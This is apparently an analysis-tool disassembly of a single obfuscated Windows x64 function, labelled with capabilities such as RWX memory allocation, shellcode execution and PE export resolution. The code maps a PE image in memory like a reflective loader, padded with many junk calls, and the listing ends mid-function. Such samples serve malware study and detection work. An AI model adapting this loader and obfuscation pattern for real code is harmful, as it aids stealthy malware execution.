Function at 0x140001030
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x348
mov r15, r9
mov r13, r8
mov rbx, rdx
mov r12, rcx
movabs rcx, 0xe7e1faeed5c31f77
mov edx, 0xd2
call fcn.1400057e0
mov rsi, rax
mov edx, 0xc94b3d
xor ecx, ecx
call fcn.1400057e0
xor rsi, rax
movabs rcx, 0xbc38ac1217bd6a47
mov edx, 0xf1
call fcn.1400057e0
mov r8d, 0x51
xor ecx, ecx
mov rdx, rsi
mov r9, rsi
call fcn.1400057e0
lea rax, [r12 + 0x3c]
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x268]
mov eax, dword [rax]
mov dword [rsp + 0x60], eax
movsxd rax, dword [rsp + 0x60]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x138]
add rax, r12
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x140]
mov eax, dword [rax]
mov dword [rsp + 0x90], eax
mov rax, qword [rsp + 0x138]
mov ecx, 0xffffffff
mov rdx, rsi
call fcn.1400057e0
mov eax, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov ecx, 0xffffffff
mov rdx, rsi
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0x1f
mov r8d, 0xe8
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0x91
call fcn.1400057e0
mov eax, dword [rsp + 0x60]
mov ecx, 2
call fcn.1400057e0
mov eax, dword [rsp + 0x60]
movabs rcx, 0x74e980029c4ad7ef
mov edx, 0x44
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov eax, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, rsi
call fcn.1400057e0
mov ecx, 2
mov rdx, rsi
call fcn.1400057e0
mov eax, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
movabs rcx, 0x8b167ffd63b56d61
mov rdx, rsi
call fcn.1400057e0
mov r8d, 0x16
xor ecx, ecx
mov rdx, rsi
call fcn.1400057e0
mov ecx, 0x4550
mov rdx, rsi
call fcn.1400057e0
mov ecx, dword [rsp + 0x90]
cmp ecx, eax
sete byte [rsp + 0x23]
movzx eax, byte [rsp + 0x23]
mov qword [rsp + 0xb0], 0
cmp al, 1
jne 0x14000514d
mov rax, qword [rsp + 0x140]
add rax, 4
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x270]
movzx esi, word [rax]
movzx eax, byte [rsp + 0x23]
mov ecx, 0xffffffff
mov edx, 0xd2
mov r8d, esi
call fcn.1400057e0
mov eax, dword [rsp + 0x90]
mov eax, dword [rsp + 0x90]
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov eax, dword [rsp + 0x90]
mov ecx, 2
call fcn.1400057e0
mov eax, dword [rsp + 0x90]
movabs rcx, 0xf508e4aa1c1fe651
call fcn.1400057e0
mov rax, qword [rsp + 0x138]
mov ecx, 0x6c
call fcn.1400057e0
mov ecx, 0xff
mov edx, esi
call fcn.1400057e0
mov ecx, 0x10f
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0x1d
call fcn.1400057e0
mov eax, dword [rsp + 0x60]
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0xbb3d
mov edx, 0x11
mov r8d, esi
call fcn.1400057e0
movabs rcx, 0xb4310aab6cf0fd8c
mov edx, esi
mov r8d, esi
call fcn.1400057e0
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0x14c
mov r8d, 0xb4
mov edx, esi
call fcn.1400057e0
cmp si, ax
sete byte [rsp + 0x37]
mov qword [rsp + 0xb0], 0
cmp byte [rsp + 0x37], 0
jne 0x14000514d
mov r14, qword [0x1400101d0]
mov rax, qword [rsp + 0x140]
add rax, 0x18
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x178]
add rax, 0x38
mov qword [rsp + 0x278], rax
mov rax, qword [rsp + 0x278]
mov eax, dword [rax]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x178]
add rax, 0x18
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x280]
mov rsi, qword [rax]
mov ecx, 0xffffffff
call fcn.1400057e0
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
mov ecx, 0xffffffff
mov r8d, edx
mov r9d, edx
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0xa2
call fcn.1400057e0
mov edx, dword [rsp + 0x30]
mov ecx, 0xffffffff
call fcn.1400057e0
mov edx, dword [rsp + 0x30]
mov ecx, 2
mov r8d, 0x7d
call fcn.1400057e0
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
movabs rcx, 0x65670cb4f0706a55
mov edx, 0x5aca5b
call fcn.1400057e0
mov qword [rsp + 0x1c8], rbx
mov rbp, rax
mov edx, 0x6d
xor ecx, ecx
call fcn.1400057e0
add ebp, eax
mov rax, qword [rsp + 0x138]
mov rax, qword [rsp + 0x148]
mov edx, dword [rsp + 0x30]
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov r8d, dword [rsp + 0x30]
mov ecx, 0xfffffffd
mov edx, 0xf6
call fcn.1400057e0
mov r8d, dword [rsp + 0x30]
mov ecx, 0xffffffff
mov edx, 0x90
mov r9d, 0xea29ed
call fcn.1400057e0
mov r8d, dword [rsp + 0x30]
mov ecx, 2
mov edx, 0xfa
call fcn.1400057e0
movabs rcx, 0x9a98f34b0f8fc5ab
mov edx, 0xfd
call fcn.1400057e0
mov rbx, rax
mov edx, dword [rsp + 0x30]
mov r8d, 0x36c09e
xor ecx, ecx
call fcn.1400057e0
xor ebx, eax
add ebx, ebp
movzx eax, byte [rsp + 0x23]
mov ecx, 1
mov edx, 0x24
call fcn.1400057e0
movabs rcx, 0xd96089c53640ac4b
call fcn.1400057e0
mov rbp, rax
xor ecx, ecx
call fcn.1400057e0
add ebp, eax
movzx eax, byte [rsp + 0x23]
mov rax, qword [rsp + 0x148]
mov ecx, 0x2c
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x6cf0ae
call fcn.1400057e0
mov ecx, 0xba29
call fcn.1400057e0
mov ecx, 0x4d
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x2203
mov edx, 0xeb
call fcn.1400057e0
movabs rcx, 0x746365c7c7af58c0
call fcn.1400057e0
mov rdi, rax
mov r8d, dword [rsp + 0x30]
mov edx, 0xe22521
xor ecx, ecx
call fcn.1400057e0
add edi, eax
imul edi, ebp
mov rbp, qword [rsp + 0x1c8]
mov rcx, rbx
call fcn.1400057e0
mov rbx, rax
mov rcx, rdi
call fcn.1400057e0
mov rdx, qword [rsp + 0x148]
mov rcx, rsi
mov r8d, ebx
mov r9d, eax
call r14
mov r14, r13
mov qword [rsp + 0x260], rax
test rax, rax
jne 0x1400017d3
mov rax, qword [0x1400101d0]
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x278]
mov esi, dword [rax]
movzx eax, byte [rsp + 0x37]
mov ecx, 0xaa
mov edx, esi
call fcn.1400057e0
mov ecx, 0xff
mov edx, esi
call fcn.1400057e0
mov ecx, 0x3413
mov edx, esi
call fcn.1400057e0
mov ecx, 0x70
mov edx, esi
call fcn.1400057e0
mov ecx, 0xff
mov edx, esi
call fcn.1400057e0
mov ecx, 0x348b
mov edx, 0xa4
call fcn.1400057e0
movabs rcx, 0x41319412884b997
mov edx, esi
call fcn.1400057e0
mov qword [rsp + 0x320], r15
mov r15, rax
xor ecx, ecx
call fcn.1400057e0
xor r15d, eax
mov rbp, qword [rsp + 0x148]
movzx ebx, byte [rsp + 0x37]
mov ecx, 0xc4
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov rdi, rax
or edi, ebp
mov ecx, 0xff
mov r8d, 0xa2
mov edx, esi
call fcn.1400057e0
mov r14, rax
and r14d, edi
imul r14d, r14d
mov ecx, 0xa7f
mov edx, esi
call fcn.1400057e0
mov rbp, rax
imul ebp, r14d
mov r14, r13
mov ecx, 0xe
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov rdi, rax
or edi, ebx
mov ecx, 0xff
mov edx, 0x57fd8d
call fcn.1400057e0
mov rbx, rax
and ebx, edi
imul ebx, ebx
mov ecx, 0x469
mov edx, 0xb99c9d
mov r8d, esi
call fcn.1400057e0
imul eax, ebx
xor edi, edi
cmp ebp, eax
sete dil
movabs rcx, 0xfbece6bed77b7669
call fcn.1400057e0
sub eax, edi
add r15d, eax
mov ecx, 0x69
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x2353
call fcn.1400057e0
mov ecx, 0x7d
call fcn.1400057e0
mov eax, dword [rsp + 0x30]
mov ecx, 0xff
mov edx, 0x3317f1
call fcn.1400057e0
mov ecx, 0x3835
mov edx, 0xb4
call fcn.1400057e0
movabs rdi, 0x696710e4e934200c
lea rcx, [rdi + 0x40]
call fcn.1400057e0
mov rbp, rax
xor ecx, ecx
call fcn.1400057e0
xor ebp, eax
movzx eax, byte [rsp + 0x23]
mov ecx, 1
mov edx, esi
call fcn.1400057e0
mov rcx, rdi
mov edx, esi
call fcn.1400057e0
mov rdi, rax
xor ecx, ecx
call fcn.1400057e0
xor edi, eax
xor edi, ebp
mov rbp, qword [rsp + 0x1c8]
mov rcx, rsi
call fcn.1400057e0
mov rsi, rax
mov rcx, r15
mov r15, qword [rsp + 0x320]
call fcn.1400057e0
mov rbx, rax
mov rcx, rdi
call fcn.1400057e0
xor ecx, ecx
mov rdx, rsi
mov r8d, ebx
mov r9d, eax
call qword [rsp + 0x318]
mov qword [rsp + 0x260], rax
mov qword [rsp + 0xb0], 0
test rax, rax
je 0x14000514d
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0xb8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rsi, rax
movabs rcx, 0xebbe7347c1332567
mov edx, 0x6fdaee
call fcn.1400057e0
mov rbx, rax
mov edx, 0xb4
mov r8d, 0xe4
xor ecx, ecx
call fcn.1400057e0
xor rbx, rax
movabs rcx, 0x48e8202fae3bfb30
call fcn.1400057e0
mov edx, 0x8f3e37
xor ecx, ecx
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov rdi, rax
mov ecx, 0x50
mov rdx, rbx
mov r8, rbx
call fcn.1400057e0
mov rcx, rsi
mov edx, edi
mov r8, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
sete byte [rsp + 0x22]
movzx eax, byte [rsp + 0x22]
cmp al, 1
jne 0x1400019a8
movzx esi, byte [rsp + 0x22]
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 0x7afafa69
mov edx, esi
call fcn.1400057e0
mov ecx, 0xa061440
mov edx, 0x24
call fcn.1400057e0
mov ecx, 0x1050504
mov edx, 0x22
call fcn.1400057e0
mov ecx, 0x1010104
mov edx, 0x126f88
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xb071544
mov edx, esi
mov r8d, esi
call fcn.1400057e0
movabs rdi, 0x5a56cf88d7007f54
mov rcx, rdi
mov edx, esi
call fcn.1400057e0
mov edx, 0x92
mov r9d, 0x49
xor ecx, ecx
mov r8d, esi
call fcn.1400057e0
movzx eax, byte [rsp + 0x22]
mov ecx, 0xffffffff
mov r8d, 0xf4278d
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xad
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0xdf
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 2
mov edx, esi
call fcn.1400057e0
or rdi, 0x8000
mov edx, 0xdb
mov rcx, rdi
call fcn.1400057e0
xor ecx, ecx
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov rsi, rax
mov ecx, 0x8000
mov edx, 0x84
mov r8d, 0x7d
call fcn.1400057e0
mov rcx, qword [rsp + 0xb8]
mov rdx, rsi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x140005141
mov r13, r14
mov rax, qword [rsp + 0x40]
add rax, 8
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xb8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x40]
add rax, 0x18
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x40]
add rax, 0x10
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x40]
add rax, 0x1c
mov qword [rsp + 0x328], rax
mov rdi, qword [rsp + 0x270]
movzx esi, byte [rsp + 0x22]
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 0x7afafa69
mov edx, 0x46
call fcn.1400057e0
mov ecx, 0xa061440
mov edx, esi
call fcn.1400057e0
mov ecx, 0x1050504
mov r8d, 0x8d
mov edx, esi
call fcn.1400057e0
mov ecx, 0x1010104
call fcn.1400057e0
mov ecx, 0xb071544
mov edx, 0x40
mov r8d, 0x48
call fcn.1400057e0
movabs rbx, 0x703996444aea0da3
lea rcx, [rbx + 0x10]
mov r8d, 0x4d
mov r9d, 0xd4b6c4
mov edx, esi
call fcn.1400057e0
movzx eax, byte [rsp + 0x22]
mov ecx, 0xd9
mov edx, esi
call fcn.1400057e0
mov ecx, 0xff
mov edx, esi
call fcn.1400057e0
mov ecx, 0xa6ff
mov r8d, 0xfd
mov edx, esi
call fcn.1400057e0
mov ecx, 0x41
mov edx, 0x92
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x847d53
call fcn.1400057e0
mov ecx, 0x1faf
call fcn.1400057e0
mov rcx, rbx
call fcn.1400057e0
mov edx, 0x3bf2e9
mov r8d, 0x90
xor ecx, ecx
call fcn.1400057e0
mov rax, qword [rsp + 0x288]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movzx eax, word [rdi + 0x12]
mov word [rsp + 0x6a], ax
movzx eax, word [rsp + 0x6a]
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0x10
call fcn.1400057e0
mov ecx, 2
mov edx, esi
call fcn.1400057e0
movabs rcx, 0xd2229f23818666a1
call fcn.1400057e0
mov rbx, rax
xor ecx, ecx
mov edx, esi
call fcn.1400057e0
add ebx, eax
mov ecx, 1
mov edx, esi
call fcn.1400057e0
movabs rcx, 0x686d25bc1fbadded
mov edx, esi
call fcn.1400057e0
mov rdi, rax
xor ecx, ecx
call fcn.1400057e0
add edi, eax
imul edi, ebx
mov r14, rbp
movzx ebp, word [rsp + 0x6a]
mov ecx, edi
shr ebp, cl
movzx eax, byte [rsp + 0x22]
mov ecx, 0xffffffff
mov edx, 0x96
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 2
mov edx, esi
call fcn.1400057e0
movabs rcx, 0x34d241a0f2091e2a
mov edx, esi
call fcn.1400057e0
mov rdi, rax
xor ecx, ecx
call fcn.1400057e0
mov rbx, rax
xor ebx, edi
movzx eax, word [rsp + 0x6a]
mov ecx, 0xffffffff
mov edx, 0x4525fb
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
mov edx, esi
call fcn.1400057e0
movabs rcx, 0xcb2dbe5f0df6e1d7
mov edx, 0x92
mov r8d, 0xd1
mov r9d, 0x97eb88
call fcn.1400057e0
mov rdi, rax
mov edx, 0xad
xor ecx, ecx
mov r8d, esi
call fcn.1400057e0
add eax, edi
add eax, ebx
and eax, ebp
mov word [rsp + 0xa6], ax
movzx eax, word [rsp + 0xa6]
mov rcx, qword [rsp + 0x40]
add rcx, 0x20
mov qword [rsp + 0x290], rcx
mov rcx, qword [rsp + 0x290]
mov dword [rcx], eax
mov rax, qword [rsp + 0x40]
add rax, 0x28
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0x298]
mov qword [rax], r14
mov rax, qword [rsp + 0x40]
add rax, 0x30
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x188]
mov qword [rax], r13
mov rax, qword [rsp + 0x40]
add rax, 0x38
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0x2a0]
mov qword [rax], r15
mov rax, qword [rsp + 0x40]
add rax, 0x40
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x3b0]
mov qword [rax], rcx
mov r15, qword [0x1400101d0]
mov r14, qword [rsp + 0x178]
mov ebx, dword [r14 + 0x3c]
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xda
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
movabs rbp, 0x6180688d931c00e4
lea rcx, [rbp + 0x1000]
mov edx, esi
mov r8d, esi
call fcn.1400057e0
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov r8d, 0x3a2ab8
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 2
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov rcx, rbp
mov edx, esi
mov r8d, esi
call fcn.1400057e0
xor ecx, ecx
mov edx, esi
call fcn.1400057e0
mov ecx, 0x91
mov edx, esi
call fcn.1400057e0
mov ecx, 0xff
mov edx, esi
call fcn.1400057e0
mov ecx, 0xe0d5
mov r8d, 0x1b
mov edx, esi
call fcn.1400057e0
mov ecx, 0x87
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0xf232ce
call fcn.1400057e0
mov ecx, 0x8509
mov edx, 0x48
call fcn.1400057e0
movabs rcx, 0x2a8daa52683a7c37
mov edx, esi
call fcn.1400057e0
mov rbp, rax
mov edx, 0xfa
xor ecx, ecx
call fcn.1400057e0
add ebp, eax
mov ecx, 0x5a
call fcn.1400057e0
mov ecx, 0xff
mov edx, esi
call fcn.1400057e0
mov ecx, 0xa1a5
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0x88
mov edx, esi
call fcn.1400057e0
mov ecx, 0xff
mov r8d, 0x7a
mov edx, esi
call fcn.1400057e0
mov ecx, 0x1003
mov edx, 0xee705f
mov r8d, esi
call fcn.1400057e0
movabs rcx, 0xd57255ad97c583cd
mov edx, esi
call fcn.1400057e0
mov rdi, rax
xor ecx, ecx
call fcn.1400057e0
xor edi, eax
add edi, ebp
mov rcx, rbx
call fcn.1400057e0
mov rbx, rax
mov ecx, 0x1000
mov edx, esi
call fcn.1400057e0
mov rbp, rax
mov rcx, rdi
call fcn.1400057e0
mov rcx, qword [rsp + 0xb8]
mov rdx, rbx
mov r8d, ebp
mov r9d, eax
call r15
mov rdi, rax
mov eax, dword [r14 + 0x3c]
mov dword [rsp + 0x94], eax
mov r8d, dword [rsp + 0x94]
mov rcx, rdi
mov rdx, r12
call fcn.1400057b0
mov rax, qword [rsp + 0x268]
movsxd rax, dword [rax]
lea rcx, [rdi + rax]
mov rdx, qword [rsp + 0x40]
mov qword [rdx], rcx
mov rcx, qword [rsp + 0xb8]
mov qword [rsp + 0x2a8], rcx
mov rcx, qword [rsp + 0x2a8]
mov qword [rdi + rax + 0x30], rcx
mov rax, qword [rsp + 0x40]
mov rax, qword [rax]
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x150]
movzx edi, word [rax + 6]
mov ecx, 1
mov edx, esi
call fcn.1400057e0
xor ecx, ecx
mov edx, esi
call fcn.1400057e0
mov rcx, qword [rsp + 0x150]
mov qword [rsp + 0x250], rcx
cmp di, ax
je 0x140002679
movabs rbp, 0x7b1f79e97d6e3383
mov rsi, qword [rsp + 0x150]
movzx eax, word [rsp + 0x6a]
mov rax, qword [rsp + 0x2a8]
mov ecx, 1
call fcn.1400057e0
movabs rcx, 0x10a0c44593c4a357
mov edx, 0x6b
call fcn.1400057e0
movzx eax, word [rsp + 0xa6]
mov ecx, 0xffffffff
mov rdx, rsi
call fcn.1400057e0
mov eax, dword [rsp + 0x94]
mov eax, dword [rsp + 0x94]
mov ecx, 0xffffffff
mov rdx, rsi
mov r8, rsi
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0x904447
mov r8, rsi
call fcn.1400057e0
mov ecx, 0xffffffff
mov r8d, 0x1f62c6
mov r9d, 0xffcb63
mov rdx, rsi
call fcn.1400057e0
mov eax, dword [rsp + 0x94]
mov ecx, 2
mov rdx, rsi
call fcn.1400057e0
mov eax, dword [rsp + 0x94]
movabs rcx, 0xef5f3bba6c3b5cc1
mov edx, 0x8770ea
call fcn.1400057e0
xor ecx, ecx
mov rdx, rsi
mov r8, rsi
mov r9, rsi
call fcn.1400057e0
mov ecx, 0x18
mov edx, 0x64
call fcn.1400057e0
add rax, rsi
mov rcx, qword [rsp + 0x150]
movzx ecx, word [rcx + 0x14]
add rcx, rax
mov rax, qword [rsp + 0x140]
add rax, 0x38
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x258], rcx
mov dword [rsp + 0x110], 0
movabs r13, 0xe52149c6b3a330f5
jmp 0x140002375
mov rbx, qword [0x1400101d0]
mov r15d, dword [rsp + 0x4c]
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xc8]
mov r14d, dword [rcx + 0xc]
add r14, qword [rax]
movzx eax, byte [rsp + 0x38]
mov ecx, 0xffffffff
mov edx, 0x2cfe84
mov r8, r15
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xc4
call fcn.1400057e0
mov ecx, 0xfffffffd
mov rdx, r15
mov r8, r15
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, r15
call fcn.1400057e0
mov ecx, 2
mov r8d, 0xed
mov rdx, r15
call fcn.1400057e0
mov edx, 0xd2
mov r8d, 0x64
movabs rcx, 0x71535cf89aaeea1f
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov eax, dword [rsp + 0x4c]
mov eax, dword [rsp + 0x4c]
mov eax, dword [rsp + 0x4c]
mov ecx, 1
mov r8d, 0x66ca39
mov rdx, r15
call fcn.1400057e0
mov edx, 0x10
movabs rcx, 0x30485652a11df000
call fcn.1400057e0
xor ecx, ecx
mov rdx, r15
call fcn.1400057e0
mov ecx, 0xc
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0xacd9
mov rdx, r15
mov r8, r15
call fcn.1400057e0
mov ecx, 0xcd
mov edx, 0xdb
mov r9d, 0xf6
mov r8, r15
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x727f
call fcn.1400057e0
lea rcx, [rbp + 0x40]
mov edx, 0xfd369a
mov r8, r15
call fcn.1400057e0
mov edx, 0x11
mov r8d, 0xd2
xor ecx, ecx
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xa2
call fcn.1400057e0
mov ecx, 0xffffffff
mov r9d, 0x1f
mov rdx, r15
mov r8, r15
call fcn.1400057e0
mov ecx, 0xfffffffd
mov rdx, r15
call fcn.1400057e0
mov ecx, 0xffffffff
mov rdx, r15
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
mov rcx, rbp
call fcn.1400057e0
mov edx, 0xb4
mov r8d, 0xf1
mov rcx, r15
call fcn.1400057e0
mov rsi, rax
mov ecx, 0x1000
mov edx, 0x7d
mov r8, r15
call fcn.1400057e0
mov rdi, rax
mov ecx, 0x40
mov rdx, r15
mov r8, r15
call fcn.1400057e0
mov rcx, r14
mov rdx, rsi
mov r8d, edi
mov r9d, eax
call rbx
mov rsi, rax
mov rax, qword [rsp + 0xc8]
mov edx, dword [rax + 0x14]
add rdx, r12
mov rax, qword [rsp + 0x2b0]
mov r8d, dword [rax]
mov rcx, rsi
call fcn.1400057b0
mov rax, qword [rsp + 0xc8]
mov dword [rax + 8], esi
movabs rcx, 0x2e8d86cbfb7bfb5d
call fcn.1400057e0
mov rsi, rax
mov rcx, r13
mov rdx, rax
call fcn.1400057e0
mov rdi, rax
xor ecx, ecx
call fcn.1400057e0
add eax, edi
imul esi, eax
add esi, dword [rsp + 0x124]
mov rax, qword [rsp + 0xc8]
add rax, 0x28
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx]
mov qword [rsp + 0x190], rcx
mov rcx, qword [rsp + 0x190]
movzx ecx, word [rcx + 6]
mov qword [rsp + 0x258], rax
mov dword [rsp + 0x110], esi
cmp esi, ecx
jae 0x14000263f
mov eax, dword [rsp + 0x110]
mov dword [rsp + 0x124], eax
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
add rax, 0x10
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x2b0]
mov eax, dword [rax]
mov dword [rsp + 0x4c], eax
mov ecx, 0xffffffff
mov edx, 0xf6
call fcn.1400057e0
mov rsi, rax
xor esi, dword [rsp + 0x4c]
mov ecx, 0x7afafa69
mov edx, 0xeb
call fcn.1400057e0
mov rbx, rax
or ebx, esi
mov ecx, 0xa061440
call fcn.1400057e0
mov rsi, rax
and esi, ebx
mov ecx, 0x1050504
call fcn.1400057e0
mov rbx, rax
and ebx, dword [rsp + 0x4c]
mov edx, dword [rsp + 0x124]
mov ecx, 0x1010104
call fcn.1400057e0
mov rdi, rax
or edi, ebx
add edi, esi
mov ecx, 0xb071544
mov edx, 0x5f
call fcn.1400057e0
xor eax, edi
mov ecx, dword [rsp + 0x4c]
cmp ecx, eax
sete byte [rsp + 0x38]
movzx eax, byte [rsp + 0x38]
cmp al, 1
jne 0x1400020f0
mov rax, qword [rsp + 0x330]
mov eax, dword [rax]
mov dword [rsp + 0x74], eax
movzx eax, byte [rsp + 0x38]
mov ecx, 0xffffffff
mov edx, 0x3f8199
call fcn.1400057e0
mov eax, dword [rsp + 0x4c]
mov eax, dword [rsp + 0x4c]
mov edx, dword [rsp + 0x74]
mov ecx, 0xffffffff
call fcn.1400057e0
mov edx, dword [rsp + 0x74]
mov ecx, 0xfffffffd
mov r9d, 0xad
mov r8d, edx
call fcn.1400057e0
mov edx, dword [rsp + 0x74]
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
mov eax, dword [rsp + 0x4c]
mov eax, dword [rsp + 0x4c]
mov r8d, dword [rsp + 0x74]
mov edx, 0xdf
xor ecx, ecx
call fcn.1400057e0
mov ecx, dword [rsp + 0x74]
cmp ecx, eax
setg byte [rsp + 0x57]
movzx eax, byte [rsp + 0x57]
cmp al, 1
jne 0x140002303
mov r14, qword [0x1400101d0]
mov esi, dword [rsp + 0x74]
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xc8]
mov r15d, dword [rcx + 0xc]
add r15, qword [rax]
mov ecx, 0x81
mov rdx, rsi
mov r8, rsi
call fcn.1400057e0
mov eax, dword [rsp + 0x74]
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0xe58b
mov edx, 0xc548d6
call fcn.1400057e0
mov ecx, 0xe9
mov edx, 0xd1
mov r8d, 0xeb
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x88fd
mov edx, 0x16
call fcn.1400057e0
movabs rdi, 0x1533fa4f8f4d4270
lea rcx, [rdi + 0x1000]
call fcn.1400057e0
mov edx, 0xb4
xor ecx, ecx
mov r8, rsi
call fcn.1400057e0
movzx eax, byte [rsp + 0x57]
mov ecx, 1
mov edx, 0x36
call fcn.1400057e0
mov rcx, rdi
mov rdx, rsi
call fcn.1400057e0
mov edx, 0xd9
xor ecx, ecx
call fcn.1400057e0
mov ecx, 1
call fcn.1400057e0
mov edx, 0xf6
movabs rdi, 0x58382e415ba93023
mov rcx, rdi
call fcn.1400057e0
mov edx, 0x9a6aeb
xor ecx, ecx
call fcn.1400057e0
mov ecx, 1
mov rdx, rsi
call fcn.1400057e0
lea rcx, [rdi + 0x40]
call fcn.1400057e0
mov rcx, rsi
call fcn.1400057e0
mov rdi, rax
mov ecx, 0x1000
call fcn.1400057e0
mov rbx, rbp
mov rbp, rax
mov ecx, 0x40
mov rdx, rsi
call fcn.1400057e0
mov rcx, r15
mov rdx, rdi
mov r8d, ebp
mov rbp, rbx
mov r9d, eax
call r14
mov rcx, qword [rsp + 0xc8]
mov dword [rcx + 8], eax
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.140005680
jmp 0x140002303
cmp qword [rsp + 0xb8], 0
mov rax, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x190]
mov qword [rsp + 0x250], rax
